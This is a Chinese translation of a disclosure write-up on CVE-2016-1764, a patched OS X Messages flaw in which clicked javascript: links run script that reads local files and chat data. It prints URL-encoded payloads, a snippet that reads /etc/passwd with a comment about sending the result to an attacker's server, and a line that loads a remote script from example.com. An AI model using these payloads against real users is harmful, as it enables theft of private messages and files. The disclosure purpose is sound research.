热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从客户端中恢复iMessage明文信息

2016年3月份,苹果公司正式宣布漏洞CVE-2016-1764已经成功修复。该漏洞是一个应用层漏洞,攻击者可以利用这个存在于OS X系统短信客户端中的漏洞来获取到邮件中所有文字内容和附件内容的明文数

http://p4.qhimg.com/t012b1cdab0dc0a0c85.png

2016年3月份,苹果公司正式宣布漏洞CVE-2016-1764已经成功修复。该漏洞是一个应用层漏洞,攻击者可以利用这个存在于OS X系统短信客户端中的漏洞来获取到邮件中所有文字内容和附件内容的明文数据。与之相反,相较于攻击iMessage的传输协议,利用这个漏洞来进行攻击则更加的简单。与此同时,攻击者既不需要对数学知识有非常深入的研究,而且也不需要对计算机系统的内存管理方式和shellcode等内容有任何了解,攻击者只需要了解一些关于Javascript的基础知识,就可以利用这个漏洞来实施攻击了。

技术综述

iMessage是苹果公司推出的即时通信软件,可以发送短信、视频和附件等内容,其拥有非常高的安全性。iMessage不同于运营商短信/彩信业务,用户仅需要通过WiFi或者蜂窝数据网络进行数据支持,就可以完成数据通信。iMessage利用了iOS和Mac OS中最新的消息提醒系统,可以将信息直接推送到对方的屏幕上,而不管对方是在游戏还是锁屏状态。如果双方都在使用iMessage,你甚至可以看到对方正在输入的状态。

除此之外,OS X中的iMessage会将消息中所有的URI地址转换成HTML中的链接。这样一来,攻击者就可以创建一个简单的Javascript URI来欺骗用户去点击它,当用户点击了这条恶意链接之后,攻击者的代码(跨站脚本)便会执行。

虽然OS X中的iMessage使用的是嵌入式的WebKit库,但是攻击者仍然可以利用XMLHttpRequest(XHR) GET请求(file://URI)来读取到任意文件的内容,这是因为其中却少同源策略(SOP)。攻击者不仅可以利用XHR来读取任意文件,而且还可以将目标用户的聊天记录和附件文件上传至远程服务器中,传输速度完全取决于目标用户的网络带宽。

在整个攻击过程中,唯一需要的用户交互行为就是点击那个恶意URL地址。除此之外,如果目标用户在Mac中开启了短信同步功能,攻击者就可以利用计算机来获取到目标用户iPhone手机发送或接收到的所有短信消息。

如果大家想了解更多的细节信息,请继续阅读这篇文章。

技术细节

OS X中的短信机制

OS X中的短信消息依赖于内嵌的WebKit,并以HTML来作为用户接口。当系统接收或发送短信时,系统会将HTML内容插入DOM之中,然后再在图形界面中显示出文字或附件内容。

当我们对OS X中的iMessage客户端进行了分析和测试之后,我们发现了下图所示的URI链接,这些地址都将会被插入至WebView之中:

test://test
smb://test@test.com
file:///etc
anyurihandler://anycontentafter

由于OS X中的短信客户端没有设置可用协议的白名单,这也就意味着攻击者可以向目标用户发送一个包含有Javascript代码的短信,系统将会把JS代码转换成可点击的地址形式呈现给目标用户。

当用户点击了这条链接之后,内嵌的WebKit将会执行攻击者提供的Javascript代码,示例如下图所示:

http://p5.qhimg.com/t0182e59a5365a652a7.png

需要注意的是,代码中的“%0a”是为了防止其被Javascript的注释符“//”注释掉。当这段代码被解释执行之后,将会变成下面这种形式:

//bishopfox.com/research?
prompt(1)

当点击了这条地址之后,OS X的短信客户端将会被激活:

http://p4.qhimg.com/t01eec0216dbf709668.png

但是,OS X的短息客户端是桌面应用程序,并不是一个web网页。因此,Javascript代码需要以applewebdata://origin的形式来运行:

http://p0.qhimg.com/t01ba55bb1686b9d112.png

读取文件

OS X中的短信客户端可以执行下列代码,并读取/etc/passwd文件中的内容:

function reqListener ()
{  prompt(this.responseText);
// send back to attacker’s server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

当系统将上述内容转换成了URI payload之后,代码将会变成下面这种形式:

//bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

如果用户在短信客户端中点击了这个链接,那么程序界面将会变成如下图所示的情况:

http://p3.qhimg.com/t018e0626cf77370a75.png

注入至应用程序DOM中的JS代码如下所示:

//bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

上面所列出的Javascript代码可以包含任意长度的JS控制指令。

考虑到OS X的应用程序沙箱,只有当文件位于“~/Library/Messages/*”目录和一些系统目录(/etc/)之下时才可以被访问到。

获取短信数据库和附件

当短信客户端接收到了短信或者附件之后,系统将会把这些数据存入这个目录之中:

/Users//Library/Messages/*

这些信息中的文字内容和其他的一些元数据将会被存储至SQLite数据库中,数据库的存储地址如下:

/Users//Library/Messages/*

在这个数据库中,还包含目标用户计算机中所有附件的存放地址。但是,如果攻击者想要获取到这些数据的话,还需要使用到更加高级的攻击技术。

对于开发者而言,Javascript无处不在

现在,客户端的内容注入漏洞已经不仅限于浏览器之中了。对于开发者来说,类似WebKit和nw.js这样的技术可以帮助他们很大程度地加快程序的开发进度,但是如果直接使用这些代码库,往往会影响应用程序的安全性。很明显,嵌入式的web应用框架中肯定是存在漏洞的,例如跨站脚本(XSS)等。随着攻击技术的不断发展,攻击者将来还有可能利用这些漏洞来进行破坏性更大的攻击。

这个漏洞也足以证明URI是多么的强大。对于那些完全对此不了解的用户而言,URI可能就是一个能够帮助他们链接到某个网站的工具,但是这只是它的其中一个功能。在这个复杂多变的网络环境中,它的功能远远不止这些。就像电子邮件中的附件一样,现在很多用户已经逐步开始意识到在点击这些文件之前,需要确定这个附件是否安全。而可点击的链接地址也是如此,用户只有在确定了这条地址的来源是否可信任之后,再去点击它。

在此,我们要感谢苹果公司在整个过程中与我们进行了非常积极的沟通与合作,并且在最短的时间里修复了这个漏洞。


推荐阅读
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 本文介绍了Java后台Jsonp处理方法及其应用场景。首先解释了Jsonp是一个非官方的协议,它允许在服务器端通过Script tags返回至客户端,并通过javascript callback的形式实现跨域访问。然后介绍了JSON系统开发方法,它是一种面向数据结构的分析和设计方法,以活动为中心,将一连串的活动顺序组合成一个完整的工作进程。接着给出了一个客户端示例代码,使用了jQuery的ajax方法请求一个Jsonp数据。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • 使用正则表达式爬取36Kr网站首页新闻的操作步骤和代码示例
    本文介绍了使用正则表达式来爬取36Kr网站首页所有新闻的操作步骤和代码示例。通过访问网站、查找关键词、编写代码等步骤,可以获取到网站首页的新闻数据。代码示例使用Python编写,并使用正则表达式来提取所需的数据。详细的操作步骤和代码示例可以参考本文内容。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 本文介绍了互联网思维中的三个段子,涵盖了餐饮行业、淘品牌和创业企业的案例。通过这些案例,探讨了互联网思维的九大分类和十九条法则。其中包括雕爷牛腩餐厅的成功经验,三只松鼠淘品牌的包装策略以及一家创业企业的销售额增长情况。这些案例展示了互联网思维在不同领域的应用和成功之道。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • html结构 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 在编写业务代码时,常常会遇到复杂的业务逻辑导致代码冗长混乱的情况。为了解决这个问题,可以利用中间件模式来简化代码逻辑。中间件模式可以帮助我们更好地设计架构和代码,提高代码质量。本文介绍了中间件模式的基本概念和用法。 ... [详细]
  • 解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法
    本文介绍了解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法,包括检查location配置是否正确、pass_proxy是否需要加“/”等。同时,还介绍了修改nginx的error.log日志级别为debug,以便查看详细日志信息。 ... [详细]
  • scrcpy通过adb调试的方式来将手机屏幕投到电脑上,并可以通过电脑控制您的Android设备。它可以通过USB连接,也可以通过Wifi连接(类似于隔空投屏),而且不需要任何ro ... [详细]
  • Imdevelopinganappwhichneedstogetmusicfilebystreamingforplayinglive.我正在开发一个应用程序,需要通过流 ... [详细]
author-avatar
微笑5885
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有